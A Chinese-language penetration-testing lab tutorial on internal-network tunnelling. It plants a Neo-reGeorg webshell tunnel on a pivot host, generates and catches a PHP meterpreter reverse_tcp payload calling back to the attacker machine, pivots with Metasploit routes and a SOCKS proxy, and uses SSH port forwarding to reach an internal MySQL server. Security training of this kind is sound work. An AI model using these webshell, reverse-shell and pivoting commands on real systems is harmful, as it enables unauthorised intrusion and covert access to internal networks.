内网渗透-隧道通信
一、基于Neo-reGeorg
Neo-reGeorg是常见的http正向隧道工具,是reGeorg工具的升级版。增加了很多特性,例如像内容加密、避免被检测、请求头定制、响应码定制、支持py3等等,https://github.com/L-codes/Neo-reGeorg
打开windows2016跳板机上的Web服务
开启之后在kali上确认是可以进行访问的
进入到Neo-reGeorg
1、生成木马
python3 neoreg.py generate -k 123456
生成的木马文件如下
[+] Create neoreg server files:
=> neoreg_servers/tunnel.php
=> neoreg_servers/tunnel.aspx
=> neoreg_servers/tunnel.cs
=> neoreg_servers/tunnel.jspx
=> neoreg_servers/tunnel.go
=> neoreg_servers/tunnel.ashx
=> neoreg_servers/tunnel.jsp
进入到neoreg-servers,发现生成了一个php文件
2、植入Windows2016
根据目标主机所提供的服务器类型来决定使用哪种木马。并将页面文件放入目标主机的Web服务器目录下
将生成的tunnel.php复制到windows2016上的xampp的htdocs目录下
然后我们在本机上进行访问,没有出现404,说明是可以进行正常访问的
3、实现连接
开始在Kali上运行这个脚本进行连接
python3 neoreg.py -k 123456 -u http://192.168.3.41/tunnel.php
通过这张图(SOCKS5 server)可以看出还是建立了一个代理通道
那我们首先在浏览器里面访问一下,发现无法进行访问
然后去在浏览器上设置代理 127.0.0.1:1080
然后再去浏览器上访问,发现访问成功
我们在终端上试一下,都其实是一样的操作,也可以访问访问成功的
MSF除了生成二进制木马以外,也可以给我们生成PHP的脚本型的木马
msfvenom -p php/meterpreter/reverse_tcp host=192.168.3.38 port=4444 -f raw > /home/kali/msfshell.php
通过这段代码来生成PHP型的脚本木马
然后把这个脚本文件传输到windows2016上
然后进入到Kali的MSF里面去
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.3.38
run
然后就进入了meterpreter中
使用命令sysinfo确定是Windows2016
接下来我们试一试run autoroute
然后我们看看子网网段,告诉我们PHP脚本型的不支持这个
run get_local_subnets
发现这个也没用
说明PHP做的有限,比二进制弱一些
那我们手工来做一遍
先将这个木马文件放到后台去执行,使用background
然后手工加一下路由
route add 192.168.3.0/24 1
route add 192.168.209.0/24 1
route print
sessions
然后我们再使用代理
use auxiliary/server/socks_proxy,然后进行配置,run就可以了,run完用jobs看看,成功代理
然后我们去命令行看看是否成功,成功,说明我们刚才设置的PHP木马帮我们设的代理生效了
同时我们也可以使用wireshark来监听一下通信的流量,是TCP连接,因为我们的payload给的就是reverse_tcp,基于PHP建立了TCP的连接,然后帮助我们基于TCP协议来做SOCKS的代理,然后我们在Kali监听流量的时候就没有监听到任何http的流量
也可以在windows2016上启动wireshark来监听流量,这样会更加的直观明显,因为windows2016作为跳板机,两边可以独立进行监听,因为有两个网卡
二、基于SSH的隧道通信
SSH会自动加密和解密所有SSH客户端与服务端之间的网络数据。但是,SSH还能够将其他TCP端口的网络数据通过SSH链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做"隧道"(tunneling),这是因为SSH为其他TCP链接提供了一个安全的通道来进行传输而得名。例如,Telnet,SMTP,LDAP这些TCP应用均能从中得益,避免了用户名,密码以及隐私信息的明文传输。而与此同时,如果工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH的连接,也能够通过将TCP端口转发来使用SSH进行通讯
1、SSH本地转发
本实验使用Kali(攻击机)+ windows2016(跳板机) + windows7(目标主机进行操作,此时,只需要在Kali上输入以下命令即可通过本地访问到windows7上的80端口)
由于我的2016虚拟机没有安装OpenSSH server,所以我使用老师的电脑来进行实验
先将windows2016的OpenSSH server启动起来
启动起来之后我们使用win10的客户端进行远程连接
先将我们之前在浏览器上设置的代理给取消了
我们先去访问一下我们kali的8879端口,发现没有任何的连接
接下来我们在Kali的命令行里面去执行下面的命令
ssh -CfNg -L 8879:192.168.209.129:80 administrator@192.168.3.41 (3.41为windows2016跳板机)
执行以上命令,并输入3.41跳板机的root密码。即可本地访问 localhost:8879,实现对192.168.209.129的访问
这个时候我们看到命令行已经回来了,也没有给我们报错
发现可以访问localhost:8879
那这之间发生了什么呢,其实做的事情很简单。就是让远程的SSH的服务帮助我们做一个端口转发
2、SSH远程转发
在跳板机windows2016上运行以下指令:
ssh -CfNg -R 3333:192.168.209.129:3306 kali@192.168.3.38 并输入kali的SSH密码
但是先得在Kali上运行:/etc/init.d/ssh start 启动SSH服务
然后我们去kali上访问localhost:3333
我们发现有MySQL的信息出现了
也可以直接将目标主机(window7)上的mysql在kali中登录上去